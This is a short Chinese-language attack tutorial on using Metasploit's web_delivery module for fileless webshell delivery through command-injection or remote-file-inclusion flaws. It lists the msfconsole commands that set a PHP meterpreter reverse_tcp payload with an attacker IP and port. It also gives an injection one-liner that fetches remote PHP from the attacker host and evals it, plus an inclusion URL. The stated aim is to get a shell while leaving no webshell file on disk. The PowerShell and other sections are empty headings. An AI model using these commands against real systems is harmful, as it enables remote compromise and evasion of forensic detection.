主要通过 msf 中 exploit 的 web_delivery 模块来实现此功能
0x01 前提背景
目标设备存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,但不想在目标设备硬盘上留下任何webshell文件信息
解决思路:让目标设备从远端服务器加载webshell代码至内存执行
0x02 实现方法
使用 msf 中 exploit 的 web_delivery 模块:
此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)。
具体使用步骤:
2.1 通过php来实现
前提:目标服务器能够解析php
use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp ====>选择php写的meterpreter
set lhost 172.20.163.160
set lport 1111
run
运行成功后显示(只需让目标设备在系统命令下执行标红部分命令就可得到对方shell):
利用方式:
#命令注入漏洞
在注入点注入:php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.20.163.160:1111/OgsOFaj3yKH'));"
#远程文件包含漏洞
在包含漏洞处包含:http://172.20.163.160:1111/OgsOFaj3yKH
2.2 通过powershell来实现
2.3 其他
还有可借助其他脚本来实现:
0x03 参考链接
https://xz.aliyun.com/t/6920
https://www.cnblogs.com/baihualin/p/10509948.html